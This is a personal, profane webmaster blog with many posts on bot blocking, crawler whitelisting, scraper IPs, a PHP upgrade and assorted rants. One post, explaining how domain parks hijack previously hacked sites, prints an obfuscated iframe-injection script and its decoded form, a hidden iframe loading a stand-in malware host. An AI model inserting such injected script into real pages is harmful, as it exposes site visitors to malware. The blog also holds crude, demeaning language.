IncrediBILL.net upgated to PHP 5.4

Typical, you think a simple upgrade to PHP 5.4 would so smoothly on IncrediBILL.net but it blew a gasket. Luckily not all my domains were running the new bleeding edge bot blocking code so only that domain took a hit, but still the things that caused it are mind numbing to say the least.

Partly, I could blame myself as I know better and should always trim my white space off data before sending it to a function like IPLong(), but then again, why the hell did they suddenly decide a trailing space should make the function bomb?

Seems to me a data conversion function should to the white space trim() function automatically and save us from having to do it every fucking time we pass data to the damn thing, saving lots of code and silly little mistakes, especially from trailing spaces which happen often when typing, cut & paste, etc. which it used to tolerate and now goes KABOOM!

Then the graph on the front page blew a gasket, got to figure that shit out next.

And a couple of other things.

Makes you wonder why I bothered upgrading to PHP 5.4 in the first place!

Oh yeah, some piece of shit software I was trying to install insisted on it.

The Forsaken Blog

Dear Blog,

It appears that I have abandoned you like the drunk fugly girl at the bar after a quickie in the backseat of the car.

Oh Blog. how we used to have so much fun talking about cats barfing all over the house or the lack of anything that would pass as beer in Florida.

How we used to rant and rave about spammers, spiders and other such technical stuff with venom and just a little foam in the corner of my mouth while I typed it.

What has become of us dear Blog?

Part of it has to do with my cataracts and the tiny fucking fonts and itsy bitsy icons in Google bloggers editor, That and the color scheme from hell on their control panel with all the fucking light colored bullshit I can barely read these days even at 3x magnification.

Yes, that's right Blog, we've grown old together but you know what the best part was?

You never got hacked!

All my friends said "Use WordPress Bill, put it on your own domain Bill, you can't rank blogger Bill, so on and so forth". Well, while they were busy trying to keep WordPress updated and hackers off their home page my dear Blog, you just sat here ranking for my posts like crazy.

They said you wouldn't rank, dear Blog, but it was their lack of skills that was rank as you were quite admirable in being found in Google when I posted something on this old blog.

Maybe we'll get together again and start posting stuff old Blog or maybe we'll just call it a day and end on a high note, haven't decided yet.

But I do know one thing, you were a good Blog so far.

Yours Truly,
IncrediBILL    

Honors Robots.txt My Ass

I thought I'd seen everything until I stumbled onto a service called "All Site Search" which has to following to say about robots.txt:

Do you care about robots.txt?

Yes, we do, but we will still index everything. However, the things indexed that match the statements in your robots.txt file, will be marked. This way, you can yourself decide if those things should be visible to the visitors to your site, or perhaps you want it to be visible only to you. This is easily done by a parameter setting.

The purpose of robots.txt is to tell the spider not to crawl the pages in the first place, not to ignore it while crawling only to enforce it when indexing.

If the webmaster has installed a robots.txt entry for their spider "alsRobot2" or "alsRobot3" then why in the hell would they need to define it again? The webmaster either wants it crawled or they don't. Period.

It also means someone could use this free service to index anyone's website, since they basically ignore robots.txt, to get access to the entire site regardless of the webmaster's wishes.

Another bot best blocked in .htaccess since they don't use robots.txt properly just in case their service gets used maliciously for whatever reason.

App Programmers or Crap Programmers?

The more I use these so-called programs or Apps for mobile devices I'm beginning to realize that these people claiming to be programmers cranking out this crap for $0.99  don't know their collective programming asses from a hole in the ground.

OK, forgive me for leaving the Wifi and 3G off when I start your program. Is that any reason to just exit the fucking APP without so much as an error like "Cannot connect to server, please check that Wifi is enabled?".

Then there's my favorite, the game apps that remember their last state so when you close and reopen the fucker it's still fucking STUCK where it was when you got hosed and had to close it in the first fucking place! One was so goddamn obnoxious with bad error handling that I had to use Task Killer to dump it's ass just to get it to start over. I was real close to uninstalling the fucking thing if it didn't start over but thankfully Task Killer did the trick.

Even worse IMO are the ones that although they appear to stay in memory, or at least some notification component does to tell you when someone has taken their turn in the game, will make you sit and wait with your dick in your hand every time while it revalidates your login or something as stupid. I really can't tell what it's doing but it does it every fucking time, while most others don't, and takes forever.

Piles of poorly designed sloppy shoddy shit being cranked out as quickly and cheaply as possible to go into Google Play, or as I like to call it "THE DOLLAR STORE".

Maybe Google should take a little responsibility here and create a bug reporting system attached to Google Play and when enough people start bitching about some shitty program they suspend it from Google Play until the author fixes that shit.

That's right, I'm suggesting vigilante bug reporting and mandated bug fixes based on reports from an angry mob of users. If the app writers don't want to fix their fucking apps then they simply drop from the app store and their little river of $0.99 kachings dries up and blows away. Too fucking bad.
 
I know about 10 games I'd report in a flash, and we're not talking the free versions either as I can tolerate bugs when that shit's free but make me part with a whole whopping $0.99 and that shit better work right!

Why Bother WIth Even Having Beer Taps?

Went out for dinner tonight and I got all excited when I saw the place actually had beer taps.

Then, with much dismay, I quickly realize they're the same beers on both ends of the bar, just 2 beers which were Bud and Sam Adams, ugh.  So I suffered through a Sam Adams and barely gagged the last of it down.

Sam Adams is just OK, probably better than Sierra Fucking Nevada, but neither are exactly my cup of about-to-be-recycled-as-pee.

I'm all about the IPA these days and all the finest places serve it, like Big Daddy, Double Daddy, Racers, etc. OMFG! I love Double Daddy, it's double the hops and malt of Big Daddy and will knock you right out of your fucking socks with it's hoppy IPA goodness. Try Big Daddy, you'll be very hoppy if you do. :)

Anyway, I'm bummed, dinner was fine but the beer was a bust so I stopped at one.

Yeah, yeah, I know they had all sorts of good shit in bottles and cans but I can do bottles and cans at home. I don't go out to get the same pedestrian experience sold at the local grocery store when I go out for dinner, I go out for something better that I can't get at home and FUCKING BUD AND SAM ADAMS ON TAP AIN'T IT!

[/rant]

Testing, Testing, Is this thing on?

I've been ignoring the blog, shame on me.

Got lot's of stuff going on like playing with my new toys, a Nexus 7 and a Samsung Galaxy, Android Jellybean all the way! Also writing software, experimenting with HTML 5 frameworks, blocking bots like crazy, playing in several sandboxes at once and just need to set aside some time to post about it.

Most importantly I'm probably going to make a cameo appearance at SES SF this week. If anyone else is going, there could be some beer time if you're interested as I'm in the mood for some quality time with my ass parked in a pub, I'm due.

Even contemplating Vegas Pubcon in October. No clue yet if it's in the cards, but I'm definitely contemplating it. We'll see how my excursion to SES SF pans out before I make a commitment to a week of nerds in Sin City.

Stand by for further instructions.

EOM

HTACCESS Code Generator Now In Beta

Check out the new .htaccess code generation tools currently in beta on IncrediBILL.me. The current modules available will generate htaccess code to block IPs, block user agents, block by referrer, block by browser language, block by country, and a whole bunch more coming soon.

The most interesting tool is the htaccess rewrite wizard  that provides a list of fields to choose from. It allows easy creation of custom htaccess rewrite conditions and rules. It's just a prototype so play around and let me know what more you might want it to do!

The site isn't pretty yet but it seems to work which is the important part!

Try it out and give me some feedback.

If you want to keep up with the new tools as they become available, follow me on Twitter as that's where I announce new stuff as it's being released.

Don't Stop Phishers, Turn Them Into Educators

I think we should stop shutting down phishing sites when we regain control of them and turn them into educational opportunities instead.

First, change the message on the phishing landing page so when some idiot lands on it they get told in big bold letters "HOW FUCKING STUPID ARE YOU ANYWAY?" and explain how they've just been saved from credit card or identify theft with links to resources to educate them further.

Second, log the IPs of all the idiots that click through to the phishing sites and send those IPs to their associated ISPs so they can address the problem by sending educational material to their customer. I wouldn't mind seeing the ISPs block access to the IP until they're forced to read and complete an online educational course on how to avoid being phished and infected with Trojans as it's in everyone's best interest long term.

Third, leave the phisher/spammer sites running, pumping out email, etc. Find out the full extent of their network by NOT shutting them down. As long as someone else has regained control of the landing sites, let the phishers keep pumping out tons of email that will drive idiots that click to get educated about being phished.

Perhaps with such a different strategy aimed at educating the idiots instead of simply stopping the phishers the end game will be more successful because hopefully better educated internet users will stop clicking on bad things thus removing the incentives for the spammers and phishers in the first place.

Call me crazy if you will, but the current methods aren't working and it wouldn't hurt to try something new for a change.

CrawlWall LIVES! Signup Now!

Some of you probably never thought you would see it happen, but CrawlWall LIVES!

Even though I've been sick as a dog for months, I started plugging away at the damn thing and doing some unit testing of various components on IncrediBILL.net, and now it's close to going into alpha testing.

Go signup if you want to be a CrawlWall alpha tester, I think you'll like it.

BTW, approved alpha testers, and it will be a small group, get a free copy of the final shipping version of CrawlWall so signup quick!

Bot Blacklisting vs. Whitelisting, are you a convert yet?

I'm still shocked that after all these years people not only are still practicing the ancient black art of blacklisting, but I'm even still more shocked to see several so-called website content security products being recently released that rely on blacklisting as their primary defense.

Are they fucking kidding?

Do people really pay good money to chase an endless supply of bots?

Let's explore the blacklisting dam vs. whitelisting dam metaphor to get a simple grasp on this issue. For those not familiar with the problem, blacklisting is like building a dam on a river with a big gaping hole in the middle that damn dam. While holding back some water, or bad bots in this instance, the damn blacklisting dam still lets most of it spill through, total waste of time and money. Whitelisting on the other hand is like a real dam that holds everything back except for the controlled spill, aka the whitelisted items, which are the only things allowed to pass. Therefore, just like damming a river, common sense dictates you build a solid dam with whitelisting to control all those bots and do it right the first time.

Blacklising is a pretty futile methodology, obviously the choice of masochistic webmasters. Look at the amount of time and resources wasted maintaining a blacklist. Tons of bot entries, lots of log analysis and processing power just to keep up with them. Heck, all the bad bots have to do to defeat your blacklist is change their user agent name every single time they access your site.

Simply combine any two random words in the dictionary and you've just got a new bot name that can bypass any blacklist. Hell, just pick almost any single word from the dictionary and you'll defeat the blacklist, two words is overkill really. Some bots merely send a couple of random strings of gibberish as a user agent which works perfectly to defeat silly tactics like blacklisting.

Now examine the simple implementation of a Whitelist. There aren't that many beneficial things that crawl your site and most sites can thrive with a whitelist of less than 20 entries, maybe 100 max. instead of the hundreds or thousands of items in a blacklist. Small lists, easy to maintain, and negligent processing required to validate the list in real-time, low impact on server load.

Using any raw logfile analysis program it's easy to identify what should be whitelisted in mere minutes. Best thing is that whitelisting means you can spend your spare time actually working on your site instead of chasing bad bots to blacklist as everything not whitelisted is automatically kicked to the curb by default with no extra effort on the part of the webmaster.

Those that I've actually convinced to convert to whitelisting in the past have done nothing but sing it's praises.

Compare that to those still blacklisting, they don't have any spare time to sing.

Tracking Domain Intel Site Bots

I've taken a recent interest in tracking down the shitload crawlers of the domain sites out there that scrape your homepage, keywords, etc. and even display your AdSense and Google Analytics IDs.

Fucking asshats.

Posted a bunch of them on WebmasterWorld so drop in there to get details about domainsoutlook.com, statshow.com, urbandata.com, zitetrendz.com, hostnology.in, dawhois.com, clearwebstats.com, whoare.us, whoare.us, w3who.net, diigo.com, domainspyer.com, spyrush.com, aboutthedomain.com, seeallweb.org, webdetail.org and a minor update on domaintools.com.

Yes, I got busy :)

Wouldn't mind some feedback on my post about Spider Tracking Links - Examining 2 Methods - that would be nice!

Where's Bill Been Hiding?

I actually haven't been hiding, I was on the endangered species list.

I have been sliding down a slippery slope for about a year now and seem to be finally recovering.

Hopefully.

It all started around the beginning of the year when my doctor gave me a new drug that after about a month appeared to be causing a mild rash. We didn't stop the drug at the time because it also seemed to be working incredibly well, doing a good job. Bad idea, should've stopped the drug immediately. However, what I've learned about these kinds of drug rashes since,, it probably wouldn't have made any difference in the outcome if we stopped right away as it was probably too late to stop what had already been put in motion.

Just some redness and a few blisters up around my shoulders, that was all it was when it started. Next thing you know my entire torso is covered in this crap. By April it was a big old mess and I was in trouble. It spread over my head, all hair gone, beard, etc. POOF! It spread down my back, eventually the arms and last but not least, it slowly spread down my legs until it reached feet. Head to toe, I was covered in compromised skin with no real treatment options except time to let it heal.

Time my ass, it's been many months and it's still fucked up.

My skin then started cracking, bleeding, making sores, etc. so needless to say I became home bound for about 6 months. Eventually other weird shit started like edema, most likely a long-term side effect of the prednisone I was taking. The edema got so bad I couldn't sit at a computer more than an hour or so a day before my arms and legs puffed up to the point I couldn't take it and had to lay down. That basically took me offline for quite some time and then other fun things started to happen like my fingernails started falling off which made it almost impossible to type until they were fucking gone altogether.

Then the real fun happened, the edema got so bad the doc tried taking me off the prednisone but did it too fast and just about killed me. My skin had been actually getting better but while being weaned off the prednisone too fast it went in reverse and the next thing you know I'm 50%(or more) compromised, can barely sit or get out of a chair because it's all raw. Real fun stuff.

In a short period I went from being completely ambulatory to using a cane, a walker, and finally being pushed around in a wheelchair when I went out because I couldn't muster enough energy to walk more than a short distance.

I was fading fast, it was not looking good, so I finally got them to admit me to a burn unit about a month ago since they specialize in wound care to get my skin problems stabilized. The first couple of days I spent in the burn unit I was practically bed ridden. Honestly, I didn't think I was ever walking out of that place. However, after spending close to 2 weeks in the burn unit, with new medication and expert wound care, I started to bounce back and walked out on my own.

Currently I still have skin being treated with drugs and bandages but the edema is gone, as well as the wheelchair, walker and cane!

After 6 months of being stuck in the house I finally managed to go out to restaurants a few times, a couple of stores, and even drove the car! Might not sound like much, but trust me, when you've been stuck indoors in the same chair staring at the same TV for 6 months, it's HUGE!

So that's where I'm at, better but not totally healed which could take months, but I'm now online and posting a lot so that should give you a clue I'm bouncing back and well enough to be taken off the endangered species list, or so I hope!

No clue if I'll ever be the same again, but it sure beats the alternative!

Looking for LinkScrubber Alpha Testers!

After years of running an internal link checker that rocks, I'm taking it public!

Why LinkScrubber?

The answer was simple, the other link checkers sucked and just reported "200 OK" for many bad sites. They didn't catch domain parks, prize pages, SEO iujection hacks, soft 404 pages, so on and so forth, so it had to be written. Now LinkScrubber has a very extensive set of fingerprints for all of these sites and can detect more hidden link rot than you can imagine.

LinkScrubber doesn't have a full crawler yet, since I originally didn't need one as I was checking links stored in a database, but a crawler is coming real soon.

If you have the programming skills, the LinkScubber API is LIVE! If you want to try the API, just send an email to 'alpha' at the LinkScrubber.com domains and request your DEVKEY to activate
the API. The LinkScrubber API docs and some sample PHP code are here, along with the current set of status return codes

However, if you don't program, don't despair, UPLOAD YOUR LINKS! If you run Xenu or some other link checker simply copy and paste the external link report (OBLs) into notepad and upload it to LinkScrubber, it's that simple!

Give it a try and find hidden link rot your current link checker has no clue about.

You may be shocked at what you find!

Anyone still listening?

I haven't blogged much for a variety of reasons this year, sorry about that.

Got a lot going on, anyone even still listening?

Probably not, don't blame ya.

Whitelisting, Not Blacklisting to stop bots!

Really getting sick of repeating myself as people just don't seem to get it when it comes to blocking bots that blacklisting doesn't fucking work.Blacklisting requires wasting time chasing bots in access logs, huge ass .htaccess files that slow Apache and impact server performance, and are easily bypassed with changing a single character in the user agent name.

Whitelisting on the other hand only tells the server what can pass, everything else bounces. Whitelists are usually short, Googlebot, Slurp, Bingbot, valid browsers, and nothing else, a fast list to process which doesn't slow Apache down whatsoever.

Then install a script to monitor for things that access robots.txt, spider trap pages, natural spider traps like your legal and privacy pages, plus speedy or greedy accesses, and you've pretty much solved you scraper problems.

But for fuck's sake, use your goddamn brain and WHITELIST or you're just wasting your fucking time and inviting scrapers, not blocking them.

When Webmastering Should Become A Capital Crime

A little project I've been working on has helped me unearth some of the sheer horrors that the search engines have to deal with on a daily basis and some web designers and webmasters should literally be shot.

How about a fully functional web page that has no anchors on the HTML page, none whatsoever, yet you can obviously see a fully functional navigation menu on the page?

That's right, some dumb fuckers are doing 100% javascript navigation, nothing in HTML or CSS, completely included as a javascript navbar. Sadly, Google rewards these assholes by indexing their shit.

But this is trivial, let's move on...

How about an old domain name with a meta refresh to the new domain name.

No big deal, right?

Until the new domain 301s to an adjusted location. The page at that location has a javascript redirect to yet another location. Finally it lands on a "200 OK" response with and no more redirects, what a maze from hell.

Getting ugly but I've seen worse.

The one that completely blew me away was some dumb fuckers with UTF-8 encoded websites being stored online as UTF-16 (UNICODE) so every letter you see on the screen is actually a double-byte character which doubles the bandwidth for no obvious fucking reason except some shithead self-proclaimed web fucking designer in some goddamn 3rd world shit hole country doesn't know how to save files properly when not coding in UTF-16 character sets.

Wonder if Google penalizes them for slow loading pages or just being god damned stupid?

Some of the big ISPs like PacBell do some really stupid fucking shit too, like this:

home.pacbell.net/someaccount

302 redirects to:

http://home.pacbell.net/cgi-bin/sunset.cgi?old_request=/someaccount

200 OK contains a javascript redirect (IT guy out that day?) to:

http://pages.prodigy.net/cgi-bin/index.cgi?pwpurl=http://home.pacbell.net/someaccount

404 finally!

"Discontinuation of Prodigy Personal Web Pages (PWP) Support "

And this shit just goes on and on and on...

It's just one big fucking mess on the web and some webmasters and designers should be very fucking ashamed.

One thing is very obvious, the search engines are doing a very skillful game of interpreting javascript these days otherwise many pages on the kinds of bullshit sites mentioned above would never be discovered.

GlueText Crawlers Identified and Blocked

Started noticing some leeched content showing up on a site called GlueText so it got my curiosity up to see how they were gathering their content.

Turns out initially they were using the default libwww-perl user agent back in '09

99.231.221.217 "libwww-perl/5.820"

Looks like they got a little smarter after being bounced by sites to switch to the old Netscape Navigator user agent for the Win 98 version which they still use today!

99.231.78.89 "Mozilla/4.76 [en] (Win98; U)"

GlueText appears to have historically used the following IPs:

99.231.78.89
CPE0024b2cbf30a-CM0016b536fb82.cpe.net.cable.rogers.com.

173.203.215.230
173-203-215-230.static.cloud-ips.com.

99.231.221.217
CPE0009a30119af-CM0016b536fb82.cpe.net.cable.rogers.com.

99.231.44.115
CPE002436a0fbf3-CM0017ee4740ec.cpe.net.cable.rogers.com.

76.65.207.92
TOROON63-1279381340.sdsl.bell.ca.

My most current test showed they were now using the following IPs:

These IPs were from cloud-ips.com, all from GlueText:

173.203.210.51
173.203.210.95
173.203.215.230
173.203.241.192

Other IPs still involved:

76.65.207.92 -> TOROON63-1279381340.sdsl.bell.ca

99.231.78.89 -> CPE0024b2cbf30a-CM0016b536fb82.cpe.net.cable.rogers.com

Doesn't request robots.txt, fakes a Netscape user agent to gain access without permission, doesn't appear to document how it crawls content nor does it appear to give webmasters any way to opt-out.

BAD ROBOT!

Blocked.

Having Netflix or Hulu Buffering Problems?

Several times now I've had buffering problems with Netflix or Hulu when being played over wifi via the Wii or Playstation 3 on the big screen. To quickly diagnose whether or not it was a possible "throttling" situation, the first thing I did was verify if my desktop computer, which is hardwired to the internet, not wifi, was having the same problem or not. The desktop computer was running full speed streaming HD without any issue whatsoever so I ruled out throttling and general connectivity issues, it was a wifi problem.

Rebooted router first just to make sure it wasn't hacking up a fur ball.

No change.

That's when I broke out the handiest Wifi Analyzer app ever made for Android and went to work. We live in a condo that has a bunch of wifi networks all over the place and, using the Wifi Analyzer, I could quickly see for some odd reason that all the networks were all overlapping in the same range. Changed my wifi router to use either Channel 1 or 11, both were clear, the channels at the far range of the wifi and VOILA! the streaming video was flowing effortless without stopping to buffer.

The only thing odd about all the wifi's stomping all over each other is they're supposed to automatically switch channels, just like mine, given the very situation that I had to just manually solve.

Isn't the first time I've seen this happen, most likely won't be the last, so much for automated technology.

This may not solve everyone's wifi streaming video problems, but it sure solved mine.

Domain Parks Hijacking Previously Hacked Sites?

Lately I've been seeing an increase in some domain parks using frame buster scripts and it really didn't make any sense to me.

Why would a domain park need a frame buster script?

Then I discovered a potential secret, these domain parks, whether intentional or not, are inadvertently hijacking sites that have been previously victims of the iframe injection hack!

Let's examine how this works.

The iframe injector exploit happens when a hacker adds a line of JavaScript to your page like this:

<script Language="Javascript">document.write(unescape('%3C%69%66%.....61%6D%65%3E'));</script>

That line of script translates the encrypted content in the unescape() command to something like this:

<iframe src="http://malware.location.example.com" width=1 height=1></iframe>

Once the search engines or browsers detect this problem then the victims site gets the normal safe surf malware warnings when visitors attempt to visit their pages as long as malware continues to exist on http://malware.location.example.com. However, once the malware is removed, often the hacked domains are shut down or abandoned and return to the domain park. The absence of malware at http://malware.location.example.com will stop displaying those safe surf warnings and everything looks normal again. Therefore, webmasters that never knew their sites were hacked in the first place, and never fixed the problem, are now potentially at the mercy of a domain park that employs frame busting.

If you didn't follow that, let's simplify it:

Some of the domain parks now add a FRAME BUSTER SCRIPT to their domain park pages.

Now any time a visitor goes to a site that was previously hacked and never repaired, and execute that JavaScript iframe injector code, the site is redirected to the domain park page.

You can see the frame buster script in the domain park pages:

function EscapeBrowserFrame(){ .... }

To add insult to injury, innocent webmasters were not only victims of hackers, but now they're the unwitting victims of having their sites hijacked by domain parks!

A nice double whammy!

Many sites have been hacked by server-wide exploits which have been documented previously in this very blog. It's very possible (most likely) the hosts never reported the problem to their customers so the website owners never knew they needed to fix their pages. This situation has probably left literally tens of thousands of sites vulnerable over time to being eventually hijacked.

That's the real kicker here is that the domain used to distribute malware could fall into the domain park at any time. Maybe the victims site will be hijacked today, maybe tomorrow, maybe a year from now, but the potential risk is great. If that line of JavaScript left by the hacker is allowed to stay in the victims website and the hackers site eventually falls into the right domain park, their site will also be hijacked.

Iframe injector scripts, the hackers gift that just keeps on giving!

Final American Airlines Flight - Never Again!

Just took 4 flights on American Airlines and I'm done, finished, never doing it again.

On the first flight out the entire cabin aisle was jammed with assholes in line for the crapper. Nobody told them to sit down and wait, there they were bouncing back and forth in the aisle bouncing off passengers sitting in the aisle. Then some crazy bitch with a hot cup of coffee joined the line holding this cup over aisle passengers heads, just waiting to boil some poor schmuck sitting under her steaming cup.

Did any flight attendant care about all this crap?

Fuck no.

The landing was no joy either. First time I've actually been in a plane that appeared to BOUNCE off the fucking runway when it landed. I was surprised that the remnants of the plane could make it to the terminal.

Now the real fun was the return trip home. We got put in some AA 757 that didn't look like it had been serviced in eons. Went to the lavatory and it was just plain vile. Nastiest shit I've ever seen on an airplane. In the row where we were seated, my seat was mangled, the velcro didn't hold the seat in place, it kept sliding out from under my ass. The seat next to mine had a fucked up cushion as well. Best yet, my wife's seat was broken and wouldn't stay in an upright position if you put any pressure on the back of the seat. Not to mention it was a full plane so we were stuck in the broken row we had.

The final landing was the best yet.

The guy in the row in front of me pulled his backpack out from under his seat and I'm stunned with what I see, a big fat cockroach clinging to his bag! When I told him about it and he tilted the bag to take a look the roach took off running, some women starting squealing, it was a real scene to behold.

Overall, I found the planes old, not well kept in the cabin, dirty and roaches pretty much says it all.

I forgot to mention on one flight all the magazines in the pouch in front of my seat were all stuck together with big gobs of chewing gum. The flight attendant took them away but never replaced them with new magazines, lazy shits.

Anyway, I won't be (willingly) doing AA again because I prefer to feel like I'm flying in an airplane, not slumming in a dirty ass rural bus in some 3rd world country.